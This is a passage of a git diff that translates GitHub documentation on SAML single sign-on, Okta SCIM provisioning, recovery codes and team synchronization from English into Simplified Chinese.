+## 在 Okta 中使用 SCIM 配置访问配置
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
@@ -62,25 +60,22 @@ After you enable SCIM, the following provisioning features are available for any
 {% data reusables.saml.okta-enable-api-integration %}
 
 
-6. Click **Authenticate with Github Enterprise Cloud - Organization**.
-  !["Authenticate with Github Enterprise Cloud - Organization" button for Okta application](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
+6. 单击 **Authenticate with Github Enterprise Cloud - Organization（向 Github Enterprise Cloud 验证 - 组织）**。 ![Okta 应用程序的"Authenticate with Github Enterprise Cloud - Organization（ 向 Github Enterprise Cloud 验证 - 组织）"按钮](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
 
-7. To the right of your organization's name, click **Grant**.
-  !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
+7. 在组织名称的右侧，单击 **Grant（授予）**。 ![用于授权 Okta SCIM 集成访问组织的"Grant（授予）"按钮](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
 
   {% note %}
 
-  **Note**: If you don't see your organization in the list, go to `https://github.com/orgs/ORGANIZATION-NAME/sso` in your browser and authenticate with your organization via SAML SSO using your administrator account on the IdP. For example, if your organization's name is `octo-org`, the URL would be `https://github.com/orgs/octo-org/sso`. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **注**：如果在列表中看不到您的组织，请在浏览器中访问 `https://github.com/orgs/ORGANIZATION-NAME/sso`，并使用 IdP 上的管理员帐户通过 SAML SSO 向您的组织验证身份。 例如，如果您的组织名称是 `octo-org`，则 URL 是 `https://github.com/orgs/octo-org/so`。 更多信息请参阅“[关于使用 SAML 单点登录进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)”。
 
   {% endnote %}
-1. Click **Authorize OktaOAN**.
-  !["Authorize OktaOAN" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
+1. 单击 **Authorize OktaOAN（授权 OktaOAN）**。 ![用于授权 Okta SCIM 集成访问组织的"Authorize OktaOAN（授权 OktaOAN）"按钮](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
 {% data reusables.saml.okta-save-provisioning %}
 {% data reusables.saml.okta-edit-provisioning %}
 
-## Further reading
+## 延伸阅读
 
-- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
-- "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation
+- “[使用 Okta 为企业帐户配置 SAML 单点登录](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)”
+- "[管理组织的团队同步](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
+- Okta 文档中的[了解 SAML](https://developer.okta.com/docs/concepts/saml/)
+- Okta 文档中的[了解 SCIM](https://developer.okta.com/docs/concepts/scim/)
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
index 6917f58951..0bb1bda3f9 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting your identity provider to your organization
-intro: 'To use SAML single sign-on and SCIM, you must connect your identity provider to your {% data variables.product.product_name %} organization.'
+title: 将身份提供程序连接到组织
+intro: '要使用 SAML 单点登录和 SCIM，必须将身份提供程序连接到您的 {% data variables.product.product_name %} 组织。'
 redirect_from:
   - /articles/connecting-your-identity-provider-to-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization
@@ -9,21 +9,21 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Connect an IdP
+shortTitle: 连接 IdP
 ---
 
-When you enable SAML SSO for your {% data variables.product.product_name %} organization, you connect your identity provider (IdP) to your organization. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+为您的 {% data variables.product.product_name %} 组织启用 SAML SSO时，会将您的身份提供商 (IDP) 连接到组织。 更多信息请参阅“[对组织启用并测试 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)”。
 
-You can find the SAML and SCIM implementation details for your IdP in the IdP's documentation.
+您可以在 IdP 文档中找到 IdP 的 SAML 和 SCIM 实现详细信息。
 - Active Directory Federation Services (AD FS) [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services)
-- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) and [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
-- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) and [SCIM](http://developer.okta.com/standards/SCIM/)
-- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) and [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
+- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) 和 [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
+- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) 和 [SCIM](http://developer.okta.com/standards/SCIM/)
+- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) 和 [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
 - PingOne [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)
 - Shibboleth [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home)
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} supported identity providers for SCIM are Azure AD, Okta, and OneLogin. {% data reusables.scim.enterprise-account-scim %} For more information about SCIM, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+**注：**{% data variables.product.product_name %} 支持的用于 SCIM 的身份提供程序为 Azure AD、Okta 和 OneLogin。 {% data reusables.scim.enterprise-account-scim %} 有关 SCIM 的更多信息，请参阅“[关于 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)”。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
index 01040de16f..e2f51ebb12 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
@@ -1,6 +1,6 @@
 ---
-title: Downloading your organization's SAML single sign-on recovery codes
-intro: 'Organization administrators should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.product_name %} even if the identity provider for the organization is unavailable.'
+title: 下载组织的 SAML 单点登录恢复代码
+intro: '组织管理员应下载组织的 SAML 单点登录恢复代码，以确保即使组织的身份提供程序不可用，也可以访问 {% data variables.product.product_name %}。'
 redirect_from:
   - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes
   - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes
@@ -10,28 +10,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Download SAML recovery codes
+shortTitle: 下载 SAML 恢复代码
 ---
 
-Recovery codes should not be shared or distributed. We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+恢复代码不应共享或分发。 建议使用一个密码管理器保存它们，例如 [LastPass](https://lastpass.com/) 或 [1Password](https://1password.com/)。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**.
-![Link to view and save your recovery codes](/assets/images/help/saml/saml_recovery_codes.png)
-6. Save your recovery codes by clicking **Download**, **Print**, or **Copy**.
-![Buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png)
+5. 在“SAML single sign-on”（SAML 单点登录）下，在有关恢复代码的注释中，单击 **Save your recovery codes（保存恢复代码）**。 ![查看和保存恢复代码的链接](/assets/images/help/saml/saml_recovery_codes.png)
+6. 通过单击 **Download（下载）**、**Print（打印）** 或 **Copy（复制）**保存恢复代码。 ![下载、打印或复制恢复代码的按钮](/assets/images/help/saml/saml_recovery_code_options.png)
 
   {% note %}
 
-  **Note:** Your recovery codes will help get you back into {% data variables.product.product_name %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated.
+  **注：** 如果您的 IdP 不可用，恢复代码将帮助您返回 {% data variables.product.product_name %}。 如果生成新的恢复代码，“单点登录恢复代码”页面上显示的恢复代码会自动更新。
 
   {% endnote %}
 
-7. Once you use a recovery code to regain access to {% data variables.product.product_name %}, it cannot be reused. Access to {% data variables.product.product_name %} will only be available for 24 hours before you'll be asked to sign in using single sign-on.
+7. 使用恢复代码重新获得 {% data variables.product.product_name %} 的访问权限后，无法重复使用该恢复代码。 对 {% data variables.product.product_name %} 的访问权限将仅在 24 小时内可用，之后系统会要求您使用单点登录进行登录。
 
-## Further reading
+## 延伸阅读
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Accessing your organization if your identity provider is unavailable](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
+- "[关于使用 SAML 单点登录管理身份和访问](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- “[在身份提供程序不可用的情况下访问组织](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)”
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
index 00cc0a8af6..e2e09c6a11 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and testing SAML single sign-on for your organization
-intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization.
+title: 启用和测试组织的 SAML 单点登录
+intro: 组织所有者和管理员可以启用 SAML 单点登录，以将额外的安全层添加到其组织。
 redirect_from:
   - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization
@@ -9,55 +9,48 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable & test SAML SSO
+shortTitle: 启用和测试 SAML SSO
 ---
 
-## About SAML single sign-on
+## 关于 SAML 单点登录
 
-You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization.
+无需所有成员使用 SAML SSO，即可在组织中将其启用。 在组织中启用但不实施 SAML SSO 可帮助组织顺利采用 SAML SSO。 一旦组织内的大多数成员使用 SAML SSO，即可在组织内将其实施。
 
-If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+如果启用但不实施 SAML SSO，则选择不使用 SAML SSO 的组织成员仍可以是组织的成员。 有关实施 SAML SSO 的更多信息，请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”。
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-## Enabling and testing SAML single sign-on for your organization
+## 启用和测试组织的 SAML 单点登录
 
-Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+在组织中实施 SAML SSO 之前，请确保您已准备好组织。 更多信息请参阅“[准备在组织中实施 SAML 单点登录](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)”。
 
-For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+有关 {% data variables.product.company_short %} 支持 SAML SSO 的身份提供商 (IDP) 的更多信息，请参阅“[将身份提供商连接到组织](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)”。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", select **Enable SAML authentication**.
-![Checkbox for enabling SAML SSO](/assets/images/help/saml/saml_enable.png)
+5. 在“SAML single sign-on”（SAML 单点登录）下，选择 **Enable SAML authentication（启用 SAML 身份验证）**。 ![用于启用 SAML SSO 的复选框](/assets/images/help/saml/saml_enable.png)
 
   {% note %}
 
-  **Note:** After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see "[Downloading your organization's SAML single sign-on recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)."
+  **注意：** 启用 SAML SSO 后，可以下载单点登录恢复代码，以便即使 IdP 不可用也可以访问组织。 更多信息请参阅“[下载组织的单点登录恢复代码](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)”。
 
   {% endnote %}
 
-6. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url.png)
-7. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under "Public Certificate," paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. Click {% octicon "pencil" aria-label="The edit icon" %} and then in the Signature Method and Digest Method drop-downs, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your organization, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+6. 在“Sign on URL”（登录 URL）字段中，为单点登录请求输入 IdP 上的 HTTPS 端点。 此值可在 IdP 配置中找到。 ![登录时将成员转发到的 URL 字段](/assets/images/help/saml/saml_sign_on_url.png)
+7. 可选择在“Issuer”（签发者）字段中，输入 SAML 签发者的姓名。 此操作验证已发送消息的真实性。 ![SAML 签发者姓名字段](/assets/images/help/saml/saml_issuer.png)
+8. 在“Public Certificate”（公共证书）下，粘贴证书以验证 SAML 响应。 ![身份提供程序的公共证书字段](/assets/images/help/saml/saml_public_certificate.png)
+9. 单击 {% octicon "pencil" aria-label="The edit icon" %}，然后在 Signature Method（签名方法）和 Digest Method（摘要方法）下拉菜单中，选择 SAML 签发者使用的哈希算法。以验证请求的完整性。 ![SAML 签发者使用的签名方法和摘要方法哈希算法下拉列表](/assets/images/help/saml/saml_hashing_method.png)
+10. 在为组织启用 SAML SSO 之前，单击 **Test SAML configuration** （测试 SMAL 配置），以确保已输入的信息正确。 ![实施前测试 SAML 配置的按钮](/assets/images/help/saml/saml_test.png)
 
   {% tip %}
 
-  **Tip:** {% data reusables.saml.testing-saml-sso %}
+  **提示：** {% data reusables.saml.testing-saml-sso %}
 
   {% endtip %}
-11. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
-![Checkbox to require SAML SSO for your organization ](/assets/images/help/saml/saml_require_saml_sso.png)
-12. Click **Save**.
-![Button to save SAML SSO settings](/assets/images/help/saml/saml_save.png)
+11. 要实施 SAML SSO 并删除未通过 IdP 进行身份验证的所有组织成员，请选择 **Require SAML SSO authentication for all members of the _organization name_ organization（要求组织的所有成员进行 SAML SSO 身份验证）**。 有关实施 SAML SSO 的更多信息，请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”。 ![对组织要求 SAML SSO 的复选框 ](/assets/images/help/saml/saml_require_saml_sso.png)
+12. 单击 **Save（保存）**。 ![保存 SAML SSO 设置的按钮](/assets/images/help/saml/saml_save.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[关于使用 SAML 单点登录管理身份和访问](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
index 667d5251a9..426eddd406 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enforcing SAML single sign-on for your organization
-intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP).
+title: 实施组织的 SAML 单点登录
+intro: 组织所有者和管理员可以实施 SAML SSO，以便所有组织成员都必须通过身份提供程序 (IdP) 进行身份验证。
 redirect_from:
   - /articles/enforcing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enforcing-saml-single-sign-on-for-your-organization
@@ -9,42 +9,40 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enforce SAML single sign-on
+shortTitle: 强制 SAML 单点登录
 ---
 
-## About enforcement of SAML SSO for your organization
+## 关于对组织实施 SAML SSO
 
-When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prompt members who visit the organization's resources on {% data variables.product.prodname_dotcom_the_website %} to authenticate on your IdP, which links the member's user account to an identity on the IdP. Members can still access the organization's resources before authentication with your IdP.
+启用 SAML SSO 时，{% data variables.product.prodname_dotcom %} 将提示访问 {% data variables.product.prodname_dotcom_the_website %} 上组织资源的成员使用 IdP 进行身份验证，IdP 会将成员的用户帐户链接到 IdP 上的身份。 成员在使用 IdP 进行身份验证之前仍然可以访问组织的资源。
 
-![Banner with prompt to authenticate via SAML SSO to access organization](/assets/images/help/saml/sso-has-been-enabled.png)
+![提示通过 SAML SSO 进行身份验证以访问组织的横幅](/assets/images/help/saml/sso-has-been-enabled.png)
 
-You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. 
+您也可以对组织实施 SAML SSO。 {% data reusables.saml.when-you-enforce %} 实施会从组织中删除尚未通过 IdP 进行身份验证的任何成员和管理员。 {% data variables.product.company_short %} 将向每个被删除的用户发送电子邮件通知。
 
-You can restore organization members once they successfully complete single sign-on. Removed users' access privileges and settings are saved for three months and can be restored during this time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+成功完成单点登录后，可以恢复组织成员。 删除的用户访问权限和设置保存三个月，在此时间范围内可以恢复。 更多信息请参阅“[恢复组织的前成员](/articles/reinstating-a-former-member-of-your-organization)”。
 
-Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see "[Managing bots and service accounts with SAML single sign-on](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)."
+未在组织的 IdP 中设置外部身份的自动程序和服务帐户在执行 SAML SSO 时也将被删除。 有关自动程序和服务帐户的更多信息，请参阅“[使用 SAML 单点登录管理自动程序和服务帐户](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)”。
 
-If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+如果您的组织是企业帐户所拥有的， 要求企业帐户的 SAML 将会覆盖您的组织级 SAML 配置，并对企业中的每个组织强制执行 SAML SSO。 更多信息请参阅“[配置企业的 SAML 单点登录](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。
 
 {% tip %}
 
-**Tip:** {% data reusables.saml.testing-saml-sso %}
+**提示：** {% data reusables.saml.testing-saml-sso %}
 
 {% endtip %}
 
-## Enforcing SAML SSO for your organization
+## 对组织实施 SAML SSO
 
-1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)."
-1. Prepare to enforce SAML SSO for your organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+1. 为您的组织启用并测试 SAML SSO，然后至少用您的 IdP 进行一次身份验证。 更多信息请参阅“[对组织启用并测试 SAML 单点登录](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)”。
+1. 准备对组织实施 SAML SSO。 更多信息请参阅“[准备在组织中实施 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)”。
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**.
-    !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png)
-1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**.
-    !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
-1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager.
+1. 在“SAML single sign-on（SAML 单点登录）”下，选择 **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization（要求组织的所有成员进行 SAML SSO 身份验证）**。 !["需要 SAML SSO 身份验证" 复选框](/assets/images/help/saml/require-saml-sso-authentication.png)
+1. 如有任何组织成员尚未通过您的 IdP 进行身份验证，则 {% data variables.product.company_short %} 会显示这些成员。 如果您强制执行 SAML SSO，{% data variables.product.company_short %} 将从组织中删除成员。 查看警告并单击 **Remove members and require SAML single sign-on（删除成员并要求 SAML 单点登录）**。 ![包含要从组织删除的成员列表的"确认 SAML SSO 实施" 对话框](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
+1. 在“Single sign-on recovery codes（单点登录恢复代码）”下，查看您的恢复代码。 将恢复代码存储在安全位置，如密码管理器。
 
-## Further reading
+## 延伸阅读
 
-- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
+- "[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
index 668ba3b7bc..7de8b7175e 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing SAML single sign-on for your organization
+title: 管理组织的 SAML 单点登录
 intro: Organization owners can manage organization members' identities and access to the organization with SAML single sign-on (SSO).
 redirect_from:
   - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on
@@ -22,6 +22,6 @@ children:
   - /managing-team-synchronization-for-your-organization
   - /accessing-your-organization-if-your-identity-provider-is-unavailable
   - /troubleshooting-identity-and-access-management
-shortTitle: Manage SAML single sign-on
+shortTitle: 管理 SAML 单点登录
 ---
 
diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
index 353f17c351..fd404968e5 100644
--- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team synchronization for your organization
-intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.'
+title: 管理组织的团队同步
+intro: '您可以在身份提供程序 (IdP) 与 {% data variables.product.product_name %} 上的组织之间启用和禁用团队同步。'
 redirect_from:
   - /articles/synchronizing-teams-between-your-identity-provider-and-github
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github
@@ -13,14 +13,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team synchronization
+shortTitle: 管理团队同步
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## 关于团队同步
 
-You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups.
+您可以在 IdP 与 {% data variables.product.product_name %} 之间启用团队同步，以允许组织所有者和团队维护员将组织中的团队与 IdP 组连接起来。
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
@@ -28,25 +28,25 @@ You can enable team synchronization between your IdP and {% data variables.produ
 
 {% data reusables.identity-and-permissions.sync-team-with-idp-group %}
 
-You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+您还可以为企业帐户拥有的组织启用团队同步。 更多信息请参阅“[管理企业中组织的团队同步](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)”。
 
 {% data reusables.enterprise-accounts.team-sync-override %}
 
 {% data reusables.identity-and-permissions.team-sync-usage-limits %}
 
-## Enabling team synchronization
+## 启用团队同步
 
-The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites.
+启用团队同步的步骤取决于要使用的 IdP。 有些启用团队同步的基本要求适用于每个 IdP。 每个 IdP 都有额外的基本要求。
 
-### Prerequisites
+### 基本要求
 
 {% data reusables.identity-and-permissions.team-sync-required-permissions %}
 
-You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+您必须为您的组织和支持的 IdP 启用 SAML 单点登录。 更多信息请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”。
 
-You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. 更多信息请参阅“[使用 SAML 单点登录进行身份验证](/articles/authenticating-with-saml-single-sign-on)”。
 
-### Enabling team synchronization for Azure AD
+### 为 Azure AD 启用团队同步
 
 {% data reusables.identity-and-permissions.team-sync-azure-permissions %}
 
@@ -56,14 +56,13 @@ You must have a linked SAML identity. To create a linked identity, you must auth
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
